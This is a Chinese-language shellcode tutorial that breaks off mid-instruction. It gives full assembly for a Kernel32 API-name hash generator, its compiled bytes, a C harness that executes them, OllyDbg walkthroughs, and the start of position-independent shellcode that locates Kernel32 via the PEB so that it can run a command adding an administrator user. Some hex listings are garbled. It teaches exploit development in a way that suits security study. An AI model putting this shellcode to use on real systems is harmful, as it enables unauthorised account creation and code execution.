一些函数将会把输入值作为”参数”.这些参数可能仅仅是函数预期的一个位于特定寄存器内的值.然而,通常情况下会通过被压到栈上(使用”push”操作符例如”push eax”)的值把参数传递到函数中.多种不同的参数可能会被压入到栈上的多种不同的值传递到一个函数中.然后函数将通过使用”pop”操作符将这些参数值从栈上攫取(弹出),例如”pop ecx”.函数也可能把返回值压到栈上以便让程序可以调用,然后让返回值弹出.通常发现函数的返回值遗留在”eax”寄存器中使用”db”操作符定义常量,它不过是把未经修改的字符串的字节写入到代码中,正如下所示.”db ◆0”在末尾写了一个null字节来终止字符串..然后我们使用一个标记来定位这些字节并作为一个完整的字符串来使用它们. locate_constants: ;label start of constants db "WinExec" db ◆0汇编语言也有许多分散在各处的”int 3”操作符.”int 3”被称作是”断点’,它通知寄存器在某个指令停止运行.这允许你查看被执行的指令,寄存器状态,堆栈状态,也可以在内存中从头到尾地查找第一个断点被定位在主程序开始的地方.这允许你从头到尾对一行行的代码进行单步调试(从程序开始到程序结束,遇到call则步进),这是一种明白每条指令正在做些什么的好方法. 你将意识到我已经把两个断点接连着放在了一排 OllyDbg常常在窗口顶部显示当前执行的指令,这意味着如果我们仅仅有一个断点,”int 3”指令将不会被显示出来因为它已经被执行了. 这对于OllyDbg调试器的新手来说可能感到困惑,因此我已经放了两个断点,以便在第一个断点已经被触发时,可以让第二次的”int 3”指令显示给 第三次设的断点在程序的尾部.这可以让我们看到栈中包含了产生函数hashes和相对应的函数字符串 Shellcode 接下来是hash-generator.asm的代码 使用如下代码在你的本地系统上的Cygwin shellcode目录内创建hash-generator.asm.确保你已经从头到尾地阅读了代码的注释因为它们解释了每一行代码执行动作的内容,同时为之后的shellcode开发给予了有用的提示. +--------------- Start hash-generator.asm --------------+;hash-generator.asm[SECTION .text]BITS 32global _start_start:jmp start_asm;DEFINE FUNCTIONS;FUNCTION: get_current_addressget_current_address: push 0 ;create a spot for our result push eax ;save eax value mov eax, [esp+8] ;copy the return address into eax mov dword [esp+4], eax ;move return address into result spot pop eax ;restore original eax value ret ;return to instruction that called this function;END FUNCTION: get_current_address;FUNCTION: compute_hashcompute_hash: push 0 ;create an empty spot for our resultpushad ;save current registers onto stack mov eax, [esp+36] ;copy the return address into eax mov dword [esp+32], eax ;move return address into our empty spot. ;orig return addr spot will be our result spot xor edi, edi ;edi will hold our hash result edi xor eax, eax ;eax holds our current char eax cldcompute_hash_again: lodsb ;puts current char into eax test al, al ;checks for null - end of function string jz compute_hash_finished ror edi, 0xd ;rotate the current hash add edi, eax ;adds current char to current hash jmp compute_hash_againcompute_hash_finished: ;end of compute hash function ;edi now holds hash in 'reverse' ordered mov edx, edi ;move the result hash into edxreverse_next_hash_section: mov al, dl ;move the first 8 bits into lower part of eax shr edx, 8 ;shift edx right to align next 8 bits of hash test dl, dl ;check for null - finished hash reversal jz reverse_hash_finished shl eax, 8 ;shift eax left ready for next hash section jmp short reverse_next_hash_section ; loop back to move next sectionreverse_hash_finished: ;final hash is now in eax in correct order mov dword [esp+36], eax ;move return value into our return spot. popad ;restore the original register values ret ;return to instruction that called this function;END FUNCTION: compute_hash;DEFINE CONSTANTSlocate_constants: ;label start of constants call get_current_address ;find current location in memory pop esi ;esi is pointer to function strings add esi, 9 ;move pointer over these commands jmp short locate_constants_return ;return to our main code ;Function String db "LoadLibraryA" ;result hash = 0x8e4e0eec db ◆0 db "WriteFile" ;result hash = 0x1f790ae8 db ◆0 db "CloseHandle" ;result hash = 0xfb97fd0f db ◆0 db "Sleep" ;result hash = 0xb0492ddb db ◆0 db "ReadFile" ;result hash = 0x1665fa10 db ◆0 db "GetStdHandle" ;result hash = 0x23d88774 db ◆0 db "CreatePipe" ;result hash = 0x808f0c17 db ◆0 db "SetHandleInformation" ;result hash = 0x44119e7f db ◆0 db "WinExec" ;result hash = 0x98FE8A0E db ◆0 db "ExitProcess" ;result hash = 0x7ED8E273 db ◆0 ;Null to indicate end of list db ◆0;END DEFINE CONSTANTSstart_asm: int 3 ;start of main program int 3 ;second int 3 purely just to show up in OllyDbg jmp locate_constants ;find starting location of constantslocate_constants_return: ;define where to return after locating constantsnext_hash: ;marks the start of the loop for next hash push esi ;push esi as parameter to compute_hash function call compute_hash ;compute_hash(esi_string) ;result now located in first position on stack int 3 ;tell debugger to stop for each hash created int 3 ;second int 3 purely just to show up in OllyDbg xor eax,eax ;clear eaxcheck_null: ;moves pointer to start of next function string lodsb ;puts current char into eax test al,al ;test if we point to a null jz is_null ;if we found a null, we reached end of string jmp short check_null ;loop back and check next charis_null: lodsb ;puts current char into eax dec esi ;move it back one spot test al,al ;test if we point to a null jnz next_hash ;2 nulls means end, else loop back for next hashend: int 3 ;calculated function hashes listed on stack int 3 ;tell debugger to stop to show hashes on stack int 3 ;second int 3 purely just to show up in OllyDbg+--------------- End hash-generator.asm --------------+编译汇编代码 因此现在已经有我们用汇编语言写好的shellcode了,我们需要编译它.这可以使用nasm汇编编译器来完成,在有msgbox.asm(是你的汇编源代码文件)的目录下使用如下命令,msgbox.bin是已经编译好的二进制输出文件 nasm -f bin -o hash-generator.bin hash-generator.asm获取shellcode 现在我们有了一个编译好的二进制文件,可以使用xxd工具来为我们生成shellcode文件.这可以使用以下的xxd命令来完成,同时将会生成以下输出: xxd -i hash-generator.binunsigned char hash_generator_bin[] = { 0xe9, 0xc7, ◆0, ◆0, ◆0, 0x68, ◆0, ◆0, ◆0, ◆0, 0x50, 0x8b, 0x44, 0x24, ◆8, 0x89, 0x44, 0x24, ◆4, 0x58, 0xc3, 0x68, ◆0, ◆0, ◆0, ◆0, 0x60, 0x8b, 0x44, 0x24, 0x24, 0x89, 0x44, 0x24, 0x20, 0x31, 0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, ◆7, 0xc1, 0xcf, ◆d, ◆1, 0xc7, 0xeb, 0xf4, 0x89, 0xfa, 0x88, 0xd0, 0xc1, 0xea, ◆8, 0x84, 0xd2, 0x74, ◆5, 0xc1, 0xe0, ◆8, 0xeb, 0xf2, 0x89, 0x44, 0x24, 0x24, 0x61, 0xc3, 0xe8, 0xb6, 0xff, 0xff, 0xff, 0x5e, 0x81, 0xc6, ◆9, ◆0, ◆0, ◆0, 0xeb, 0x7b, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, ◆0, 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6c, 0x65, ◆0, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, ◆0, 0x53, 0x6c, 0x65, 0x65, 0x70, ◆0, 0x52, 0x65, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, ◆0, 0x47, 0x65, 0x74, 0x53, 0x74, 0x64, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, ◆0, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x69, 0x70, 0x65, ◆0, 0x53, 0x65, 0x74, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, ◆0, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, ◆0, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, ◆0, ◆0, 0xcd, ◆3, 0xe9, 0x77, 0xff, 0xff, 0xff, 0x56, 0xe8, 0x3c, 0xff, 0xff, 0xff, 0xcd, ◆3, 0x31, 0xc0, 0xac, 0x84, 0xc0, 0x74, ◆2, 0xeb, 0xf9, 0xac, 0x4e, 0x84, 0xc0, 0x75, 0xe9, 0xcd, ◆3, 0xcd, ◆3};unsigned int hash_generator_bin_len = 238;这产生一个可以被使用于一个c程序内的字符数组. 输出的每个十六进制的数字(0xXX)在shellcode内代表一个字节. 那么我们会想怎样处理这个输出来产生shellcode呢?我们将使用如下脚本,这个是我放在一起用来去除可以直接地放入我们的“shellcodetest.c”程序中未经修改的shellcode的脚本 这个程序使"hash-generator.bin"起作用,因此运行如下命令,它应该产生如下输出,这个输出将自动化地被存储到”hash-generator.shellcode”中.由于在你的系统上调用的函数地址不同,所以如果你正使用一个和我不同的系统或服务包,这个输出可能会略有变化 ./xxd-shellcode.sh hash-generator.binxe9xc7x0◆◆0x68x0◆◆◆0x50x8bx44x24x08x89x44x24x04x58xc3x68x0◆◆◆0x60x8bx44x24x24x89x44x24x20x31xffx31xc0xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x89xfax88xd0xc1xeax08x84xd2x74x05xc1xe◆8xebxf2x89x44x24x24x61xc3xe8xb6xffxffxffx5ex81xc6x09x0◆◆0xebx7bx4cx6fx61x64x4cx69x62x72x61x72x79x41x00x57x72x69x74x65x46x69x6cx65x00x43x6cx6fx73x65x48x61x6ex64x6cx65x00x53x6cx65x65x7◆0x52x65x61x64x46x69x6cx65x00x47x65x74x53x74x64x48x61x6ex64x6cx65x00x43x72x65x61x74x65x50x69x70x65x00x53x65x74x48x61x6ex64x6cx65x49x6ex66x6fx72x6dx61x74x69x6fx6ex00x57x69x6ex45x78x65x63x00x45x78x69x74x50x72x6fx63x65x73x73x0◆0xcdx03xe9x77xffxffxffx56xe8x3cxffxffxffxcdx03x31xc0xacx84xc0x74x02xebxf9xacx4ex84xc0x75xe9xcdx03xcdx03创建带有shellcode的可执行程序 使用”shellcodetest.c”程序来测试我们的shellcode.这个步骤的目的是为了把我们的shellcode插入到一个c程序中,然后可以编译并执行这个c程序.为了执行我们的shellcode,这个程序已经设计好了. 这样做之前,需要把你的shellcode插入(从上个步骤生成的)到这个程序中.你把它放到”code[]”数组的引号之间.最后应该看起来像如下代码中所示的那样: +----------------- Start updated shellcodetest.c -----------------+/*shellcodetest.c*/char code[] = "xe9xc7x0◆◆0x68x0◆◆◆0x50x8bx44x24x08x89x44x24x04x58xc3x68x0◆◆◆0x60x8bx44x24x24x89x44x24x20x31xffx31xc0xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x89xfax88xd0xc1xeax08x84xd2x74x05xc1xe◆8xebxf2x89x44x24x24x61xc3xe8xb6xffxffxffx5ex81xc6x09x0◆◆0xebx7bx4cx6fx61x64x4cx69x62x72x61x72x79x41x00x57x72x69x74x65x46x69x6cx65x00x43x6cx6fx73x65x48x61x6ex64x6cx65x00x53x6cx65x65x7◆0x52x65x61x64x46x69x6cx65x00x47x65x74x53x74x64x48x61x6ex64x6cx65x00x43x72x65x61x74x65x50x69x70x65x00x53x65x74x48x61x6ex64x6cx65x49x6ex66x6fx72x6dx61x74x69x6fx6ex00x57x69x6ex45x78x65x63x00x45x78x69x74x50x72x6fx63x65x73x73x0◆0xcdx03xe9x77xffxffxffx56xe8x3cxffxffxffxcdx03x31xc0xacx84xc0x74x02xebxf9xacx4ex84xc0x75xe9xcdx03xcdx03";int main(int argc, char **argv){int (*func)();func = (int (*)()) code;(int)(*func)();}+----------------- End updated shellcodetest.c -----------------+现在需要编译已经修改好的shellcodetest.c程序以便可以在程序中执行我们的shellcode.通常这将会在Cygwin目录中使用gcc来完成;然而,这次我们想在windows上运行可执行文件.因此除使用gcc之外,我们将使用在教程1中已经安装好的windows c编译器”lcc-win32” 你可以从"Start->All Programs->lcc-win32->lcc-win32"开始使用LCC.你可能创建一个新项目,所有创建命名为”hash_generator”或File菜单中的其他任务.如果它提醒你创建一个”application skeleton”你选择no,因为我们已经有了c代码同时也只是想编译它.接下来使用默认选项来完成剩余的操作. 已经开始运行LCC时,你想要使用File菜单来打开shellcodetest.c文件,可以在例如"C:cygwinhome{username}shellcodeshellcodetest.c"这样的位置找到它 当你打开这个文件时,LCC或许将给你一个警告”1 lines longer than 500 characters were truncated”.忽略它吧.实际上并没有截断我们的shellcode. 为了编译这段代码,点击”Compile”菜单选择”Compile shellcodetest.c”.你现在的shellcode目录中应该有一个命名为”lcc”的项目目录,该目录现在应该包含有shellcodetest.exe程序通常我们将仅仅执行这个程序以在中途执行我们的shellcode;然而这次这样做是没有用的,因为我们想看到在栈上生成的hash结果.我们通过使用OllyDbg调试器来实现这个目的. 用OllyDbg执行并分析shellcode 你可以仅仅双击在教程1中已经下载好的zip文件开始使用OllyDbg调试器.一旦开始使用了,当你你想使用File菜单来打开shellcodetest.exe时,可以在例如:”C:cygwinhome{username}shellcodelccshellcodetest.exe”这样的位置上找到它,你已经用OllyDbg打开了你的可执行程序,应该可以看到如下图所示的内容,它含有一些红色指针指向的内容. 上图可以看到可执行程序已经被加载到OllyDbg中了. 窗口的左上方显示了在机器上将会被执行的指令.通过双击任意这个窗口的最左边的任意地址可以实时地在任意一条指令上设立断点.它将显示红色.再次双击则取消断点。可以通过双击指令本身随时更改任意指令. 窗口的右上方显示着寄存器和它们带有的值.这允许你确切地看到在寄存器中的每条指令的内容.如果一条指令执行之后寄存器的值改变了那么寄存器将以红色高亮. 窗口的右下方是栈窗口.这可以让你实时地看到被压入,存储和弹出栈的内容.这可以确切地理解栈是怎样被控制操作的.一旦你理解透彻了这个原理,它将会帮助你理解如何编写出更有效率的shellcode来窗口的左下方是一个内存转储区域,它可以让你在内存中看到并搜索未经修改的字节.你可以点击任意寄存器,堆栈,或代码访问并选择” show in dump” ”Play”按钮使程序开始并持续运行,直到它到达一个断点,一个访问违规,或程序的结束.这也可以通过按下F9键来完成. “stop into”按钮将在任意时间上执行一条指令;然而,如果它到达了”call”指令,它将步入函数,同时执行每条指令,这可以通过按下F7键来实现. “stop over”按钮也将在任意时间上执行一条指令;然而,如果他到达了”call”指令,它将”step over”函数,这意味着它将执行函数而不会显示出每条指令来. 在这个教程中,我们将按下”Play”(或 F9)按钮来开始我们的程序.因为我们已经把”int 3”指令(断点)写入到了我们的shellcode中,调试器将在到达第一断点时停止执行.如下图所示: 图片:2014120718353855263.gif 上图展示了我们的断点之一(int 3) 这是我们shellcode开始的main部分,我们在上面已经创建它了. 如果你想确切地通过执行整个程序的每条指令来看到它们在每个寄存器和栈发生什么,你可以持续地按”step into(F7)”或”step Over(F8)”按钮. 记住在代码中我们有了两个并排的断点.这会发生在第一个int 3停止之后.它将仍然为用户显示一个”int 3”,正如上图中所示的那样以致于我们立即知道了它是因为断点而停止的. 除此之外,如果它因为一个错误而停止那么之后在OllyDbg底部的状态栏上会出现一个错误消息。 如果你想再次开始执行程序,那么点击两下Play按钮(因为我们有两个断点). 这次可以清楚地看到两个断点了.call指令在断点之前是”call compute_hash”指令.这个函数计算hash并把它压到栈上.你可以在”Stack Window”中看到它,也可以看到函数字符串(被计算出的函数hash)已经被压到了栈上.你需要记住的是栈就像是堆放起来的一副扑克牌.最后被压在栈上的”牌”是栈顶的第一个参数,也将会第一个从栈中弹出的.你也可以通过改变”esp”(扩展的栈指针)寄存器来控制栈顶. 因此可以看到已经找到的第一个函数的字符串,它也已经被压入了栈中,同时对应的hash已经计算出来并压在了栈上.如果你现在点了两次Play你将看到下一个函数名和已经压入到栈中的hash.如果你继续这样做,应该开始看以下东西,如下所示:那是一个函数名表和hash(被定位在栈上的) 图片:2014120718353855263.gif 如果你点击Play甚至可以来到函数名字表尾,同时程序将向下转移到表尾,正如图中所显示的三个断点那样.这可以让你明白完整的函数名列表和hash,如下图所示: 恭喜! 你仅仅创建了一个生成hash的程序,它定义,查找,并使用一个函数名字符串同时剔除掉在栈上的对应hash.你已经通过在OllyDbg中执行程序学会了OllyDbg的基础,它让你清楚地看到了寄存器和栈 在创建shellcode的同时,你也学习到了怎样使用一个更加体系化的方法,即创建允许代码重用且更有效率的shellcode 在创建shellcode时因为你要找到你需要调用的windows函数也需要对应的hash,所以将不断地使用到这个程序.这是创建可以跨不同windows操作系统的shellcode程序的第一步. 教程6将向你展示如何把这件事正确地做出来!我们将通过改变adduser.asm代码来删掉硬编码的地址.所以我们将会需要在这个教程中生成的”winExec”和”ExitProcess”函数的hash 玩的愉快! ◆5 动态shellcode 截至目前为止我们已经创建了包含已经硬编码的windows函数地址shellcode.硬编码的内存地址把shellcode限制在特定的windows,服务包甚至在可能的补丁程序级别环境下运行. 我们的目的 我们的目的将是创建”Windows Command Execution Shellcode”(从教程3中).它没有把任何内存地址硬编码以便让我们的shellcode可以跨windows 系统移植 首先通过内存中找到Kernel32.dll,之后在Kernel32.dll中遍历找到每个函数名,同时用我们在上一个教程中生成的函数hash来与每个函数hash比较。 创建函数hash 从教程3中,我们已经在本地系统上使用”WinExec”和”ExitProcess”函数添加了一个拥有管理员权限的用户.在教程5中我们已经为这些函数创建了hash,也学习到了在我们的shellcode中定义常量的方法.下面小段的代码向我们示范了在当前的shellcode内定义hash常量 +------------------ [snip] ------------------+;DEFINE CONSTANTS locate_hashes: call locate_hashes_return ;WinExec ;result hash = 0x98FE8A0E db 0x98 db 0xFE db 0x8A db ◆E ;ExitProcess ;result hash = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 ;END DEFINE CONSTANTS+------------------ [snip] ------------------+因此我们怎样找到Kernel32.dll和函数的地址呢? Kernel32.dll总是在windows引导起来的时候被加载了,所有的Windows操作系统(在vista前)把Kernel32.dll加载到内存里的一个预定的位置中.可以定位Kernel32.dll,然后从这里步入找到包含在Kernel32.dll中的每个函数名字.这让我们可以在Kernel32.dll中找到所有函数的地址. 当我们完整循环完每个函数时,对每个函数名计算hash并拿它和我们预先计算好的同时也搜索到的第一个函数hash作比较.在这个阶段,我们再次找到我们的第二个函数hash,接着是第三个函数,直到已经到达了我们hash表尾. The assembly code for this tutorial contains the following new functions that allow us to perform the above actions: 这个教程的汇编代码包含以下新函数,它们允许我们执行上述动作: find_kernel32 find_function resolve_symbols_for_dll Shellcode数据流 我们的shellcode中的第一个命令跳过所有已经用汇编代码定义的函数和在”main”中的汇编代码常量.对于这一点我们需要在我们函数地址的栈上分配空间.每个函数地址是4字节的,因此在用于存储两个函数地址的栈上分配8个字节.如果未来的shellcode使用一个额外的函数,那么这个值在栈上应该用12个字节表示-值得关心的是10进制标志和16进制标志 下一条指令把ebp作为一个栈帧指针.它在栈上作为一个不会改变的标志器.这允许我们引用跟ebp寄存器有关系的函数地址 正如下所示: 然后我们的shellcode调用”find_kernel32”,它把Kernel32.dll的地址放在eax寄存器中.之后我们找到我们的不变的函数hash,然后调用”resolve_symbols_for_dll”.这个函数使用”find_function”,它在Kernel32.dll中遍历以找到使用我们hash的函数地址并在栈上把函数地址放到我们已经分配好的位置上. 我们的函数地址可以用如下调用指令调用: call [ebp+4] ;WinExeccall [ebp+8] ;ExitProcess正如我们在教程3中所做的那样,我们现在可以开始用我们的自定义shellcode来调用这些函数以创建一个新用户,但是这次我们不能使用硬编码的函数地址了.记住下面的shellcode代码 The Shellcode +--------------- Start adduser-dynamic.asm --------------+;adduser-dynamic.asm[SECTION .text]BITS 32global _start_start: jmp start_asm;DEFINE FUNCTIONS;FUNCTION: find_kernel32find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9xfind_kernel32_nt: mov eax, [eax + ◆c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp find_kernel32_finishedfind_kernel32_9x: mov eax, [eax + 0x34] lea eax, [ |
|